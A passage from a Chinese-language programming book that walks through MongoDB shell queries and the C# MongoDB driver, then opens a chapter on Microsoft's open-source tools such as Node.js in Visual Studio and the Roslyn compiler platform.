> db.Ranking16.find( {"Nation": "Great Britain"} )
{ "_id" : ObjectId("572c8b77e8200fb42f000019"), "Rank" : "25 (24)", "Name" : "Geraint THOMAS", "Nation" : "Great Britain", "Team" : "SKY", "Age*" : 30, "Points" : 743 }
{ "_id" : ObjectId("572c8b77e8200fb42f000022"), "Rank" : "34 (32)", "Name" : "Ian STANNARD", "Nation" : "Great Britain", "Team" : "SKY", "Age*" : 29, "Points" : 601 }
{ "_id" : ObjectId("572c8b77e8200fb42f000025"), "Rank" : "37 (35)", "Name" : "Ben SWIFT", "Nation" : "Great Britain", "Team" : "SKY", "Age*" : 29, "Points" : 556 }

因此,为了过滤信息,find() 方法期望使用对象表示法语法编写的标准,这是 JavaScript 的典型语法。然而,我们也可以使用数组语法从总数中选择一个:

> db.Ranking16.find( {"Nation": "Great Britain"} )[0]
{
 "_id" : ObjectId("572c8b77e8200fb42f000019"),
 "Rank" : "25 (24)",
 "Name" : "Geraint THOMAS",
 "Nation" : "Great Britain",
 "Team" : "SKY",
 "Age*" : 30,
 "Points" : 743
}

如您所想象,其他选项允许在文档中投影所需元素,而不是检索整个文档。例如,我们可以使用以下代码请求列表中所有来自西班牙的自行车手的姓名和年龄:

> db.Ranking16.find( {"Nation": "Spain"}, {"Name":1, "Age*":1} )
{ "_id" : ObjectId("572c8b77e8200fb42f000006"), "Name" : "Alberto CONTADOR VELASCO", "Age*" : 34 }
{ "_id" : ObjectId("572c8b77e8200fb42f00000a"), "Name" : "Alejandro VALVERDE BELMONTE", "Age*" : 36 }
{ "_id" : ObjectId("572c8b77e8200fb42f00000e"), "Name" : "Jon IZAGUIRRE INSAUSTI", "Age*" : 27 }
{ "_id" : ObjectId("572c8b77e8200fb42f00001c"), "Name" : "Samuel SANCHEZ GONZALEZ", "Age*" : 38 }

与要检索的字段相关的数字仅表示需要存在(我们希望在输出列表中)如果它们大于 0,或者如果它们是 0 则表示不存在。

假设我们需要意大利自行车手的列表,包括他们的姓名和车队,而不需要其他字段。我们可以输入以下内容:

> db.Ranking16.find( {"Nation": "Italy"}, {"Name":1, "Team":1, "_id": 0 } )
{ "Name" : "Sonny COLBRELLI", "Team" : "BAR" }
{ "Name" : "Enrico GASPAROTTO", "Team" : "WGG" }
{ "Name" : "Diego ULISSI", "Team" : "LAM" }
{ "Name" : "Giovanni VISCONTI", "Team" : "MOV" }

其他组合允许您使用 JavaScript 声明来检索可以用于获取另一个结果集的部分信息。在这里,我们将查询加载到变量中并直接调用它:

> var fellows = db.Ranking16.find({"Nation":"Australia"} , { "Name":1 , "Nation":1, "_id":0 });
> fellows
{ "Name" : "Richie PORTE", "Nation" : "Australia" }
{ "Name" : "Simon GERRANS", "Nation" : "Australia" }
{ "Name" : "Michael MATTHEWS", "Nation" : "Australia" }

操作符

MongoDB 中可用的操作符列表相当庞大,根据官方文档的说明,它们可以根据用途分为三个主要类别:

  • 查询和投影

  • 更新

  • 聚合管道

每个这些类别都包含大量的选项,因此您可以参考官方文档以获取更多详细信息(docs.mongodb.com/manual/reference/operator/)。为了本章的目的,我们将使用在 MongoDB 日常工作中出现的一些最常见的操作符。以下表格列出了最常用的操作符:

操作符 描述
$eq 匹配等于指定值的值
$gt 匹配大于指定值的值
$gte 匹配大于或等于指定值的值
$lt 匹配小于指定值的值
$lte 匹配小于或等于指定值的值
$ne 匹配所有不等于指定值的值
$in 匹配数组中指定的任何值
$nin 匹配数组中指定的所有值

注意,您可以在不同的上下文或域查询中找到一些这些运算符:例如,前面表格中的大多数运算符也存在于与聚合管道相关的运算符集中。

另一个重要的线索是,这些区域提供了根据上下文以多种方式处理信息的机制。实际上,我们在 SQL Server 或 Oracle RDBMS 中找到的许多运算符在这里都有等效项,总是以 $ 符号开头。例如,您可以使用聚合管道中的算术运算符来创建计算字段,或者您可以使用作为 MongoDB 命令定义的一些数学运算符,这些运算符甚至在语法上都与我们在 C# 或 JavaScript 中的 Math 静态类中可以找到的运算符相似:$abs$ceil$log$sqrt 等等。

这在其他典型的 RDBMS 运算符中也会发生,例如在统计查询中常用到的聚合运算符:$sum$avg$first 等等。其他常见的运算符家族,有助于管理操作,包括日期运算符、字符串运算符、数组运算符和集合运算符。

使用它们的方式始终取决于要执行的操作的上下文。在查询中,我们可以将它们嵌入为作为过滤标准的表达式的一部分。然而,请记住,操作数和运算符形成一个对象表达式标准。此外,请记住,这些表达式中的几个可以用逗号分隔表示。

让我们假设我们想要一个拥有超过 1,000 分且少于 1,300 分的自行车手的列表。我们可以这样表达:

> db.Ranking16.find( {"Points": {$gt:1000, $lte: 1300}}, {"Name":1, "_id": 0 } )
{ "Name" : "Alexander KRISTOFF" }
{ "Name" : "Sep VANMARCKE" }
{ "Name" : "Ilnur ZAKARIN" }
{ "Name" : "Alejandro VALVERDE BELMONTE" }
{ "Name" : "Sergio Luis HENAO MONTOYA" }
{ "Name" : "Richie PORTE" }
{ "Name" : "Wouter POELS" }

注意,我们在用逗号分隔的值(最小值和最大值)表达分数限制时隐含了一个 AND 运算符。

OR 运算符也可以用这种方式表达($or),但某些情况下的语法需要仔细分离关注点。让我们想象一个需要找到属于英联邦的自行车手的案例,例如。我们需要一个 $or 运算符来根据这种语法表达这个条件(为了简洁,我们省略了列表上没有的其他国家):

{ $or: [ {"Nation" : "Great Britain"}, { "Nation": "Ireland" }, {"Nation" : "Australia"} ] }

实际上,此类查询的结果如下:

> db.Ranking16.find( { $or : [ {"Nation": "Great Britain"}, { "Nation" : "Ireland"}, { "Nation": "Australia" } ] } , {"Name":1, "_id": 0 } )
{ "Name" : "Richie PORTE" }
{ "Name" : "Simon GERRANS" }
{ "Name" : "Geraint THOMAS" }
{ "Name" : "Michael MATTHEWS" }
{ "Name" : "Daniel MARTIN" }
{ "Name" : "Ian STANNARD" }
{ "Name" : "Ben SWIFT" }

修改数据——CRUD 操作的其余部分

修改我们数据库内容的行为由三个方法表示:

  • 添加insert()

  • 删除remove()

  • 修改update()

例如,在第一种情况下,我们可以将插入操作表示为一个 JavaScript 变量,并使用该变量将其传递给insert()方法:

> var newCyclist = {
... "Rank" : 139,
... "Name": "Lawson CRADDOCK",
... "Nation": "United States",
... "Team" : "CPT",
... "Age*": 24,
... "Points": 208
... }
> db.Ranking16.insert(newCyclist)
WriteResult({ "nInserted" : 1 })

我们可以看到 Mongo 多了一行,这表明已经插入了一个新的文档(此外,也可以传递一个数组进行多个插入)。

此外,还有一个我们之前提到的重要因素,这与灵活性有关。假设我们想包括来自美国的另一位重要跑步者,比如 Tejay Van Garderen,但在这个情况下,我们有一些与他国家细节相关的额外信息,比如他出生的State(华盛顿)和City(塔科马)。我们希望将这些信息包含在集合中。

我们将按照相同的方式进行,只是将一个由三个字段组成的复杂值分配给Nation值:NameStateCity。我们可以像之前一样进行,但包括这些更改。

在此过程之后,查看内容将显示插入的信息结构及其新的值:

> newCyclist
{
 "Rank" : 139,
 "Name" : "Lawson CRADDOCK",
 "Nation" : {
 "Name" : "United States",
 "State" : "Washington",
 "City" : "Tacoma"
 },
 "Team" : "CPT",
 "Age*" : 24,
 "Points" : 208
}

插入过程很顺利,但我犯了一个(复制/粘贴)错误,没有正确更改跑步者的名字(其余数据都正常,但名字必须修改)。因此,我们可以使用update()命令来实现这个目标。

这很简单;我们只需要将目标文档作为第一个参数本地化,并将新数据作为第二个参数指示:

> db.Ranking16.update({ "Name": "Lawson CRADDOCK" }, { "Name" : "Tejay VAN GARDEREN"})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })

结果:找到一份文档并修改了一份。

文本索引

现在,我们想要列出我们集合中所有来自美国的自行车手。MongoDB 提供了一个有趣的选项:创建一个文本索引,稍后用于文本搜索。在创建时,我们可以指定需要包含在索引中的文本字段(及其数据类型);例如,看看以下内容:

> db.Ranking16.createIndex( { Name: "text", Nation: "text"} )
{
 "createdCollectionAutomatically" : false,
 "numIndexesBefore" : 1,
 "numIndexesAfter" : 2,
 "ok" : 1
}

使用之前的代码,我们已经索引了两个字段,现在索引总数为两个(记住_id索引是自动创建的)。这对于实际使用来说很完美,因为我们现在可以编写以下内容:

> db.Ranking16.find( { $text: { $search: "Tejay Lawson" } }).pretty()
{
 "_id" : ObjectId("572cdb8c03caae1d2e97b8f1"),
 "Rank" : 52,
 "Name" : "Tejay VAN GARDEREN",
 "Nation" : {
 "Name" : "United States",
 "State" : "Washington",
 "City" : "Tacoma"
 },
 "Team" : "BMC",
 "Age*" : 28,
 "Points" : 437
}
{
 "_id" : ObjectId("572cdcc103caae1d2e97b8f2"),
 "Rank" : 139,
 "Name" : "Lawson CRADDOCK",
 "Nation" : "United States",
 "Team" : "CPT",
 "Age*" : 24,
 "Points" : 308
}

注意,搜索时没有指定字符串在字段中的位置。输出显示了具有不同Nation字段数据结构的两个文档。

如果我们没有索引,也可以使用其他运算符进行搜索,例如$in,它使用以下语法原型:

{ field: { $in: [<value1>, <value2>, ... <valueN> ] } }

因此,我们可以将包含所有来自法国和西班牙的自行车手的类似查询重写如下:

> db.Ranking16.find( {"Nation": { $in: ["France", "Spain"] }}, {"_id":0, "Rank":0, "Points":0, "Age*":0, "Team":0})
{ "Name" : "Thibaut PINOT", "Nation" : "France" }
{ "Name" : "Alberto CONTADOR VELASCO", "Nation" : "Spain" }
{ "Name" : "Alejandro VALVERDE BELMONTE", "Nation" : "Spain" }
{ "Name" : "Jon IZAGUIRRE INSAUSTI", "Nation" : "Spain" }
{ "Name" : "Arnaud DEMARE", "Nation" : "France" }
{ "Name" : "Bryan COQUARD", "Nation" : "France" }
{ "Name" : "Nacer BOUHANNI", "Nation" : "France" }
{ "Name" : "Samuel SANCHEZ GONZALEZ", "Nation" : "Spain" }
{ "Name" : "Romain BARDET", "Nation" : "France" }
{ "Name" : "Julian ALAPHILIPPE", "Nation" : "France" }

对于删除,程序相当直接。只需记住,删除根据操作定义的标准会影响一个或多个文档。在这种情况下,请记住,在关系型模型中可能配置的级联行为在 MongoDB 中是没有等效的。

MongoDB from Visual Studio

您可以直接在 MongoDB 官方网站上找到许多 MongoDB 驱动程序,包括几个 C#语言的版本,目前代表版本 2.2.3。此驱动程序支持我在本书中使用的 MongoDB 版本(v. 3.2)。

实际上,这个版本是在 Visual Studio 2015 中创建和测试的,这也是在这里使用它的另一个原因。您可以在docs.mongodb.com/ecosystem/drivers/csharp/地址找到一个包含解释、其他资源链接、视频、文章、社区支持工具、演示文稿等内容的一整页。此驱动程序是 MongoDB 的官方支持驱动程序。

首次演示:从 Visual Studio 执行简单查询

对于驱动程序的安装,有几种方法,但您可以使用 Visual Studio 中的 NuGet 来安装它,因此我们将首先构建一个新的控制台项目(ConsoleMongo1),然后选择 NuGet 窗口交互。一旦进入,键入MongoDB将显示一系列库,包括位于首位的官方驱动程序。

如您在下面的屏幕截图中所见,安装了三个库:两个版本的 MongoDB 驱动程序(核心和标准)以及包含序列化基础设施的 Mongo.BSon,您可以使用它来构建高性能序列化器:

首次演示:从 Visual Studio 执行简单查询

要使用 C#与 MongoDB 交互,驱动程序提供了一组方便的对象,其中大部分代表我们在 Mongo Command Window 中执行先前操作时所使用的内容。

在任何操作之前,重要的是要记住,NoSQL 结构是灵活的,但为了从 C#端正确工作,拥有一个数据结构(数据模型或合约)更有用。为此,我们可以从我们的数据库中复制并粘贴单个文档,并使用粘贴为 JSON选项,这将结构转换为包含文档中定义的键作为类字段的类集。

对于本部分的演示,我选择了另一个数据库源,它更类似于我们会在实际应用中使用的内容。为此目的,一个可能的数据源是 NorthWind JSON 网站,它提供了多年来在 Microsoft Access 和 SQL Server 中用作演示数据库的流行 NorthWind 数据库的 JSON 版本。您可以在northwind.servicestack.net/customers?format=json找到这个数据库。我从这里下载了两个表:CustomersOrders。请记住,在导入过程中,将生成一个名为_id的新字段。

当您使用粘贴为 JSON选项时,其_id字段将被分配为一个字符串,但内部实际上是一个ObjectId类型。为了避免以后出现问题,您可以手动将其更改为如下定义:

public class Customer
{
  public ObjectId _id { get; set; }
  public string CustomerID { get; set; }
  public string CompanyName { get; set; }
  public string ContactName { get; set; }
  public string ContactTitle { get; set; }
  public string Address { get; set; }
  public string City { get; set; }
  public object Region { get; set; }
  public string PostalCode { get; set; }
  public string Country { get; set; }
  public string Phone { get; set; }
  public string Fax { get; set; }
}

现在我们做一个简单的查询,我们可以在控制台窗口中列出。为了实现这一点,我们需要引用前面提到的库并遵循基本步骤:连接到 NorthWind 数据库,获取集合的引用,定义查询(我们可以为此使用 Linq 和/或泛型功能),并展示结果。

一个初始的简单方法如下:

class Program
{
  static IMongoClient client;
  static IMongoDatabase db;
  static void Main(string[] args)
  {
    BasicQuery();
  }
  private static void BasicQuery()
  {
    client = new MongoClient();
    db = client.GetDatabase("NorthWind");
    var coll = db.GetCollection<Customer>("Customers");

    var americanCustomers = coll.Find(c => c.Country == "USA")
    .ToListAsync().Result;
    string title = "Customers from United States";
    Console.WriteLine(title);
    Console.WriteLine(string.Concat(Enumerable.Repeat("-", title.Length)));
    foreach (var c in americanCustomers)
    {
      Console.WriteLine($"Name: {c.ContactName}, \t City: {c.City} ");
    }
    Console.Read();
  }
}

如果您启动应用程序,控制台窗口将显示请求的客户集:

第一次演示:从 Visual Studio 的简单查询

因此,让我们快速回顾一下这个过程。MongoClient 代表与 MongoDB 服务器的连接。它遵循对所需数据库的引用。一旦到达那里,我们获取 Customers 集合,但由于我们已经知道客户类型及其成员,我们可以使用泛型来表示这一点,表明调用 GetCollection<Customer>("Customers") 的结果就是那种类型(注意,集合是复数名称)。

当集合变量准备好后,它可以像任何其他泛型集合一样使用,因此我们可以使用 lambda 表达式、LINQ 以及所有其他资源,就像我们在前面的章节中所做的那样。

然而,请注意,我们已经以同步模式运行了一个查询。当可用的数据量(要搜索的)很大时,建议使用异步操作。因此,让我们使查询更加复杂,并以这种方式运行它。

例如,假设我们需要知道来自美国或英国的哪些客户同时也是所有者(CustomerTitle 字段的值是 Owner)。因此,我们需要一个更复杂的过滤器。我们还希望这个过程是异步的,以避免阻塞错误或无响应的用户界面。因此,我们将使用 async/await 操作符以这种方式构建一个方法:

async private static void CustomerQueryAsync()
{
  client = new MongoClient();
  db = client.GetDatabase("NorthWind");
  var coll = db.GetCollection<Customer>("Customers");
  var owners = await coll.FindAsync(c =>
    (c.Country == "USA" || c.Country == "UK") && c.ContactTitle == "Owner")
  .Result.ToListAsync();
  string title = "Owners from USA or UK";
  Console.WriteLine(title);
  Console.WriteLine(string.Concat(Enumerable.Repeat("-", title.Length)));
  foreach (var c in owners)
  {
    Console.WriteLine($"Name: {c.ContactName}, \t City: {c.City} ");
  }
}

因此,我们现在以异步方式(非阻塞方式)执行查询,只需进行一些更改,就可以获取几个条目:

第一次演示:从 Visual Studio 的简单查询

注意,除了使用 async/await 操作符之外,查询的结尾略有变化。我们现在从 Result 对象中调用 toListAsync() 方法以获取最终的集合。其余的就像在先前的(同步)方法中所做的那样。

CRUD 操作

如您所想象,CRUD 操作完全受支持,尤其是在使用此新版本的驱动程序时,它包括各种新的可能性。

这些操作中的大多数都根据您是否只想处理集合中的一个或多个文档分为两大类。因此,我们发现方法如 DeleteOne/DeleteManyInsertOne/InsertManyReplaceOne/ReplaceMany 等。反过来,它们为每个方法提供同步和异步版本。

删除

例如,为了删除单个客户,我们可以使用以下方法:

async private static void DeleteCustomerAsync()
{
  var CustDel = await coll.FindOneAndDeleteAsync(c => c.CustomerID == "CHOPS");
  // List customers from Switzerland to check deletion
  BasicQuery("Switzerland");
}

您可以看到我们使用了一种非常方便的方法,它允许我们在单一(原子)操作中找到并删除单个文档(FindOneAndDeleteAsync)。

此外,我们将 BasicQuery 方法更改为接收一个包含要列出国家的字符串,并在删除后立即再次调用该方法以检查一切是否正常。现在该国只有一个客户:

删除

作为备注,请记住,如果没有找到文档,应用程序抛出的任何可能的异常都应该按照常规方式处理。

插入

插入遵循类似的模式。我们根据合同定义创建一个新客户,并使用简单直接的方式异步插入:

async private static void InsertCustomerAsync()
{
  Customer newCustomer = new Customer()
  {
    CustomerID = "ZZZZZ",
    CompanyName = "The Z Company",
    ContactName = "Zachary Zabek",
    City = "Zeeland",
    Region = "Michigan",
    Country = "USA"
  };
  await coll.InsertOneAsync(newCustomer);
  BasicQuery("USA");
  Console.Read();
}

如果一切正常,我们将看到以下截图所示的输出:

插入

修改和替换

在处理文档集合时,通常区分更新和替换。在第一种情况下,我们管理的是类似于标准 SQL 语言中 UPDATE 子句的内容。

第二种情况涉及文档的完全替换,但 _id 字段除外,它是不可变的。在这种情况下,由于没有固定的模型可以遵循,替换的信息可能与之前的信息完全不同。

要替换内容,使用 Builders 类的静态方法很方便,该类提供了 C# 驱动。我们可以为我们的客户定义一个通用的 Builder 类,并使用 FilterUpdate 方法定位和替换指定的文档。

以下代码正是如此:它定位之前插入的公司并将 CompanyName 字段更改为另一个字符串:

async private static void ModifyCustomerAsync()
{
  var filter = Builders<Customer>.Filter.Eq("CompanyName", "The Z Company");
  var update = Builders<Customer>.Update
  .Set("CompanyName", "ZZZZZ Enterprises");
  var result = await coll.UpdateOneAsync(filter, update);
  BasicQueryByCompany("USA");
}

注意,我包含了一个名为 BasicQueryByCompanyBasicQuery 方法版本,以便允许在输出中返回修改后的字段:

修改和替换

在替换的情况下,您可以使用 ReplaceOneAsyncReplaceManyAsync 方法,就像我们为更新所做的那样。

此外,SQL 数据库中您可能习惯的大多数典型操作也在这里:分组、统计结果、安全配置等等。

NoSQL 数据库的采用是另一回事:可扩展性、可用性、对 NoSQL 的先前知识以及学习曲线只是你在选择新项目中这些数据库之一时可能考虑的几个因素。无论如何,大多数可用的 NoSQL 数据库从 .NET 平台的支持对于大多数实现都是保证的,因此这不应该是一个问题。

摘要

在本章的整个过程中,我们了解了 NoSQL 数据库的基础和基本知识,从它们的历史演变开始,到与这种存储方法相关的多种架构和特性,以及我们今天可以找到的最典型实现列表。

我们还从通用角度探讨了在这些环境中如何正确管理 CRUD 操作。

然后,我们转向 MongoDB,分析其在 Windows 系统中的安装和管理细节,在开始使用 MongoDB 实例的默认(命令行)工具操作和导入、操作、列出和修改其内容之前,无需任何外部工具以研究其使用背后的底层机制。

最后,我们使用了在官方 MongoDB 网站上可用的 C#驱动程序,从控制台应用程序中完成相同的 CRUD 操作,包括在 LOB 应用程序中所需的最典型操作。

在下一章中,我们将探讨如何使用一些——众多——作为开源资源可用的项目和工具,这些资源和项目如今由微软监控并积极支持,包括 Roselyn 服务、新的 TypeScript 语言以及其他。

第八章:开源编程

在本章中,我们将回顾使用微软技术和工具的开源编程的当前状态。这是许多技术传教士所指的开放源代码生态系统。

在本章中,我们将涵盖以下主题:

  • 我们将从该领域的初始动作开始,并探讨它们随时间的发展,总结任何开发者现在都可以访问的最重要倡议。

  • 之后,我们将回顾一些最受欢迎的实现,无论是工具(IDE)还是 API 和语言。

  • 我们将探讨使用开源解决方案进行编程,例如 Node.js,它在 Visual Studio 中的支持情况,以及如何轻松创建一个使用 Node 的此环境的项目,以及其他 IDE 选择,如 Visual Studio Code。

  • 之后,我们将探讨微软最关键且被广泛采用的两个开源倡议:Roslyn 项目,一组提供扩展开发体验支持的 API 和服务;以及由 C#作者 Anders Hejlsberg 创建的新语言 TypeScript,它允许程序员今天使用高级 JavaScript 功能,并得到 IDE 的出色支持以及完全向后兼容。

历史上的开源运动

微软早在 2003 年就开始在开源领域铺路,当时采取了一些举措以在产品上采用 GPL 许可,最引人注目的是努力将.NET 框架平台(特别是 C#语言)标准化。

实际上,它很快就被 ECMA(ECMA-334)和 ISO(ISO/IEC 23270:2006)批准为标准。

之后,Mono 项目(Xamarin)(en.wikipedia.org/wiki/Mono_(software)),现在是微软的一部分,提供了能够在 Linux 和 MacOS 上运行的.NET 版本。这可能是第一个使 C#通用的严肃尝试。Mono 许可模式是明确开放的(www.mono-project.com/docs/faq/licensing/),尽管他们的 IDE 不是(Xamarin Studio)。

然而,微软收购 Xamarin 给开发者带来了更好的消息,因为现在,Visual Studio Community Edition 的客户可以在 IDE 中找到嵌入的 Xamarin 工具和库,无缝构建 Android、iOS 和 Windows Phone 解决方案,并享有所有这些价值。同样,还有一个名为 Xamarin Studio Community Edition 的免费产品版本。

其他项目和倡议

然而,到目前为止所讨论的只是冰山一角。从 2005 年开始,他们开始为知名的开放源代码倡议做出贡献,如 Linux 和 Hadoop,以便内部使用开源产品和工具,并发布一些成果。

其中一些最知名的项目包括.NET 基金会的倡议和 WinJS,这是一个使用 JavaScript 的库,允许访问 Windows API,并且与 Windows 8 操作系统的套件保持一致,允许开发者使用 HTML5、CSS3 和 JavaScript 构建应用程序。

Azure 一直是微软开始展示其对开源兴趣的重要部门。在直接在 Azure 中支持 Linux 和 MacOS 的先前运动中,我们必须加上最近宣布的 SQL Server 在 Linux 上运行(blogs.microsoft.com/blog/2016/03/07/announcing-sql-server-on-linux),以及 PowerShell 在 Mac OS 和 Linux 上的可用性。

最新的公告,在 11 月的 Connect()活动中正式确认,进一步加深了这一理念:微软成为 Linux 基金会的白金合作伙伴,Azure 上运行的每三个虚拟机中就有一个是 Linux“发行版”,Windows 10 中 Bash 的加入允许在系统中原生安装多个 Linux“发行版”。

在另一方面,谷歌已成为.NET 基金会的成员,并积极参与 C#标准的制定。截至目前,微软是 GitHub 上贡献“开源”项目数量最多的公司。

最后,与三星和 Tizen 倡议的最新合作仅扩展了与开源世界的合作数量。

为程序员提供的开源代码

那程序员呢?正如我们提到的,2013 年宣布免费 Visual Studio Community Edition 之后,声明了该工具将在后续版本中免费,同时 Xamarin Studio 的开放:

为程序员提供的开源代码

这一变化是在 2015 年春季通过发布 Visual Studio Code 提出的,(免费且适用于 Windows、Linux 和 MacOS)。它是一款将编辑器的功能与 IDE 的调试功能结合在一起的开发工具。

那 Visual Studio Code 是如何被编码以在三个平台上工作的呢?三个项目?并非如此。这得益于 2010 年开始的另一个重大运动,我们在第四章比较编程方法中介绍了它,并在本章后面会详细讨论:TypeScript。

其他语言

开源项目还出现在其他工具和语言中,如 Node.js,现在作为 Visual Studio(任何版本)的另一种项目类型使用,Python、PHP 或 Apache/Cordova。所有这些技术现在都是 IDE 中可安装/可编程项目的一部分。这也适用于 GitHub,其工程师正在合作以更好地将其与 Visual Studio 和 Visual Studio Code 集成。

在 Node.js 的情况下,你必须安装 Visual Studio 的模板(这是一个一次性、相当直接的操作),当你选择构建新项目时,你会看到以下截图所示的几个模板:

其他语言

如果你参与这些项目之一,你会发现其他平台上的常用工具默认也在这里可用,例如 Grunt、Bower、NPM、Gulp 等等。

为了完整性,让我们使用这些模板进行 Node.js 的基本演示,看看它是如何工作的。如果你选择 Basic Node.js Express Application,将从模板生成一个完整的应用程序,包括启动 Node.js 工作实例所需的文件以及一个使用 Node 作为本地主机 Web 服务器的简单网页。

小贴士

关于 Node 的详细信息,你可以查看本系列中的另一本书籍,其中包含详细的文档、解释和演示:“Mastering Node.js”,作者桑德罗·帕斯卡利(www.packtpub.com/web-development/mastering-nodejs)。

默认情况下,项目使用 Express 库,它与 Node 无缝协作。视图引擎也是这些项目中最常见的一个(它被称为 Jade,你可以随时更改它或使用可用的替代方案)。

在审查生成的文件时,你会注意到在我们的项目中已下载和更新的许多库。这是 IDE 与 package.json 配置文件交互的结果,该文件确定了应用程序所依赖的库:

{
  "name": "ExpressApp1",
  "version": "0.0.0",
  "description": "ExpressApp1",
  "main": "app.js",
  "author": {
    "name": "Marino",
    "email": ""
  },
  "dependencies": {
    "express": "3.4.4",
    "jade": "*",
    "stylus": "*"
  }
}

此文件指示 IDE 下载所有必需的库以及这些库所依赖的所有依赖项。

启动时,将打开两个窗口。一方面,控制台将打开,另一方面,默认浏览器的实例将打开。在控制台中,Node.js 正在监听两个端口:调试端口 [5858] 和 Express 端口 [1337],它们负责处理 Web 请求,如下截图所示:

其他语言

如前图所示,在运行时已发出两个请求:渲染的页面(Jade 从 index.jade 文件中的基本源代码生成)和样式表,它被引用在作为本演示中主页的 layout.jade 文件中。两者都运行良好(状态码 200)。

另一方面,混合这两个 .jade 文件(实际的母版或主页)的结果将在选定的浏览器中显示(请注意,你可以选择多个浏览器以创建多浏览器调试会话):

其他语言

无论是 Node.js 编程及其工具的方面,还是工具的支持都非常全面,因此我们甚至可以在单个解决方案中混合使用不同技术的项目,并且不再依赖于 IIS 的安装来进行调试:

其他语言

在 Microsoft 开源生态系统中,社区非常活跃的其他显著领域如下:

  • Entity Framework Core(现在版本为 1.1)

  • Microsoft Edge,用户可以在其中为正在考虑的新功能投票,并使用 JavaScript 内部引擎(Chakra)为自己的目的服务(就像 Chrome 的 V8 引擎一样)

    注意

    您可以在 developer.microsoft.com/en-us/microsoft-edge/platform/status/backdropfilter 上了解更多关于这些项目的信息,并参与协作,如图中所示。

  • .NET Core 是 .NET 家族中的最新成员,它使得构建可在任何平台上运行的应用程序成为可能:Windows、Linux 或 MacOS

  • Roslyn 和 TypeScript 项目

以及,还有更多更多

Roslyn 项目

也称为 .NET 编译器平台,由 Anders Hejlsberg 领导,Roslyn 是一套工具和服务,帮助开发者控制、管理和扩展任何源代码编辑器或 IDE 的功能,并以多种方式照顾代码,包括编辑、解析、分析和编译。它是 .NET 基金会倡议的一部分:

Roslyn 项目

实际上,编辑器(Intellisense、代码片段、代码建议、重构等)背后的所有魔法都是由 Roslyn 管理的。

总体而言,使用 Roslyn,您将能够做到以下几件事情:

  • 创建自定义的特定代码检查工具,这些工具可以集成到 Visual Studio 2015 和其他兼容工具的编辑器中。此外,您还可以根据自己制定的指南扩展实时代码检查引擎。这意味着您可以为您的 API 或特定的编程需求编写诊断和代码修复(称为分析器)以及代码重构规则。

  • 此外,Visual Studio 编辑器会在您编写代码时识别代码问题,对需要考虑的代码进行波浪线标记,并提出最佳可能的修复建议。

  • 您可以监控代码生成,生成 IL 代码(记得我们在前几章中看到的演示),并利用编译器 API 在您的 .NET 应用程序内部执行日常与代码相关的任务。

  • 此外,通过构建个性化的插件,可以在 Visual Studio 之外执行,并配置 MSBuild,利用 C# 编译器执行与代码相关的任务,从而实现扩展。

  • 使用您自己的 IDE 创建 REPL(读取-评估-打印循环),该 IDE 能够检查和执行 C# 代码。

与传统编译器的不同之处

通常,编译器表现为黑盒或源代码中的函数,其中要编译的代码是参数,中间发生了一些事情,在另一端生成输出。这个过程需要深入理解他们所处理的代码,但这种信息对开发者来说并不可用。此外,在生成翻译后的输出后,这些信息就会被忽略。

Roslyn 的使命是打开黑盒,让开发者不仅能够了解幕后发生的事情,而且最终能够创建自己的工具和代码检查器,并扩展旧编译器创建的传统可能性。

Roslyn 的官方文档(github.com/dotnet/roslyn)通过比较经典编译器管道与 Roslyn 提出的服务集来解释这种方法的 主要变化:

与传统编译器的区别

如图所示,管道的每个部分都已用允许你编写可解析代码的 API 替换,创建 语法树 API,并从中生成整个符号图,执行所需的 绑定和流分析 API,最终使用 Emit API 生成结果二进制文件。

Roslyn 处理这些阶段的方式是为每个阶段创建对象模型。深入研究这一套服务和工具提供的功能和机会超出了本书的范围,但我希望提供一个对这些可能性的简介,以及一些示例代码,以便你可以开始构建自己的工具:读取代码并帮助识别潜在问题和如何修复它们的项目。

开始使用 Roslyn

在您开始从 Visual Studio 使用 Roslyn 之前,有一些要求需要满足。首先是安装 Git 扩展:你可以在 工具 菜单中的 扩展和更新 工具中找到它,就像许多其他工具一样。

安装完成后,在 Visual Studio 中创建一个新的项目,选择 C# 语言,然后在 扩展性 项下选择 下载 .NET 编译器平台 SDK,如图所示:

开始使用 Roslyn

将出现一个 index.html 网页,其中包含一个按钮,链接到语法树可视化工具的下载、分析器模板等。请注意,如果你安装了多个版本的 Visual Studio,.vsix 安装程序将通知你希望扩展安装到哪些产品中。

现在根据不同的上下文出现了几个可用的选项。一方面,如果你转到 工具/选项 菜单并检查 文本编辑器 项,你可以在 C# 方面找到控制 Visual Studio 编辑器中此语言管理方式的新选项:用于 Intellisense 的代码格式化选项等。

另一方面,在重新加载 Visual Studio 后,如果你回到扩展和更新,你会发现在现在有新的项目类型可供选择,包括独立代码分析工具带代码修复的分析器(NuGet + VSIX)代码重构(VSIX)VSIX 项目,最后一个专门用于插件等安装。你应该会收到如下截图所示的报价:

Roslyn 入门

让我们从简单的类开始,看看我们可以使用哪些选项。因此,我创建了一个新的项目(控制台项目就很好)并去掉了默认包含的 using 声明。

即使有默认的初始代码,Roslyn 也会读取并将其转换为语法树表示,其中树中的每一部分(每个单词、空白、花括号等)都有一个位置,并且可以相应地管理。这个树可以使用之前过程安装的视图 | 其他窗口 | 语法可视化器中的新窗口进行检查。

一旦我们点击源代码(即在class单词的中间),窗口将显示代码分析的结果(我们也会显示图例):

Roslyn 入门

你会注意到,树从所谓的CompilationUnit开始,主要的NamespaceDeclaration节点悬挂在其上。因此,源代码中的每个元素现在都是可识别和可管理的。

如果我们想以更直观的方式查看此树,可以在CompilationUnit的上下文菜单中右键单击并选择查看有向语法图选项,这将显示编辑器中的.dgml文件,其中包含一个着色的树,图例中的每个颜色都代表代码中的一个元素。

当鼠标悬停在某个元素上时,其属性会在工具提示中显示(同样,右键单击单个节点会显示可能的选项的上下文菜单):

Roslyn 入门

蓝色节点表示 C#语法的较高层节点,可以进一步划分为更小的单元。绿色节点被称为语法标记,在某种程度上,就像语法树的原子或基本单元(它们不能被进一步分割)。

其余的节点(白色和灰色节点)被称为所谓的琐事节点,根据官方文档,它们与编译无关,因为它们是源文本中被认为是对代码的正常理解基本无关紧要的部分,例如空白、注释和预处理器指令

此外,还有一个非常有用的在线工具(开源),名为 Source Visualizer,可在source.roslyn.io/找到,它展示了 Roslyn 是如何编码的,以及其源代码。

你可以导航到 Roslyn 项目中找到的所有元素的全树,并检查它们,了解它们的编码方式,以作为你自己的代码的灵感来源。

